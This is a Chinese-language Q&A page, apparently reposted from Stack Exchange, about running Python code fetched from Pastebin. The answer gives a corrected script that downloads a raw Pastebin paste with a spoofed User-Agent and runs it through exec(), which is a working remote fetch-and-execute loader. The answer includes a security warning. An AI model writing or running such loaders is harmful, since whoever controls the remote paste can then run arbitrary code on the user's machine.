You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何运行Python字符串中的代码?从Pastebin获取代码后无法执行求解

问题原因与解决办法

核心问题分析

  • main()函数仅引用了test变量,没有任何触发代码执行的逻辑——就算成功拿到Pastebin的代码,也不会运行。
  • get_code()里的except: pass会吞掉所有异常,包括请求失败、解码错误等,导致你完全看不到问题出在哪。
  • 缺少对获取到的代码的执行逻辑,没有把字符串形式的代码转化为可执行的操作。

修正后的代码

import os 
from json import loads, dumps
from base64 import b64decode
from urllib.request import Request, urlopen
from subprocess import Popen, PIPE

def get_code():
    test = 'None'
    try:
        # 添加User-Agent,避免被Pastebin的反爬机制拦截
        req = Request('https://pastebin.com/raw/4dnZntN3', headers={'User-Agent': 'Mozilla/5.0'})
        test = urlopen(req).read().decode()
    except Exception as e:
        # 打印异常信息,方便排查问题
        print(f"获取代码失败: {str(e)}")
    return test

test = get_code()

def main():
    if test != 'None' and test.strip():
        try:
            # 执行获取到的代码
            exec(test)
        except Exception as e:
            print(f"执行代码失败: {str(e)}")
    else:
        print("未获取到有效代码")

main()

关键修正说明

  1. 添加请求头:Pastebin会拦截不带User-Agent的请求,添加UA可以避免被拦截导致获取失败。
  2. 异常捕获优化:替换空的异常捕获为打印具体错误信息,能快速定位请求或解码环节的问题。
  3. 添加代码执行逻辑:使用exec()将获取到的字符串代码转为可执行逻辑,但必须注意:执行外部来源的代码存在极高安全风险,仅在你完全信任该Pastebin链接内容的情况下使用。

内容的提问来源于stack exchange,提问作者pamp

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.11 06:45:37